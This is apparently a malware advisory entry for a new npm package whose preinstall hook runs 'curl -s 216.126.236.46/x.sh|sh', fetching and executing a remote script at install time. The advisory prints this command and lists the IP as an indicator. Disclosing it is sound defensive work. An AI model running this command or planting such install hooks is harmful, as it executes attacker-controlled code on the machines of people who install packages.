GCVE-110-OSM-2026-11288

This is a clear install-time downloader and shell dropper: the package.json preinstall hook runs `curl -s 216.126.236.46/x.sh|sh`, which executes attacker-controlled code from a bare IP over plain HTTP. The attacker model is a compromised or opportunistic npm publisher using a brand-new package to run arbitrary code on the installer's machine at `npm install` time, and there is no legitimate package behavior to offset that. The shipped `index.js` is only a no-op stub exporting `request()`, so the lifecycle hook is the actual payload rather than a build helper or telemetry client. The OSV MAL-2026-15501 advisory is corroborated directly by the manifest and IOC evidence here. ENTRY index.js (default-index: index.js) - Preinstall Script in package.json: ""preinstall":"curl -s 216.126.236.46/x.sh|sh"" DESTINATION - 1 fetched-payload (ipv4) (values recorded in verified_iocs) EXFIL - Curl/Wget Pipe to Shell in package.json: "curl -s 216.126.236.46/x.sh|sh" ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account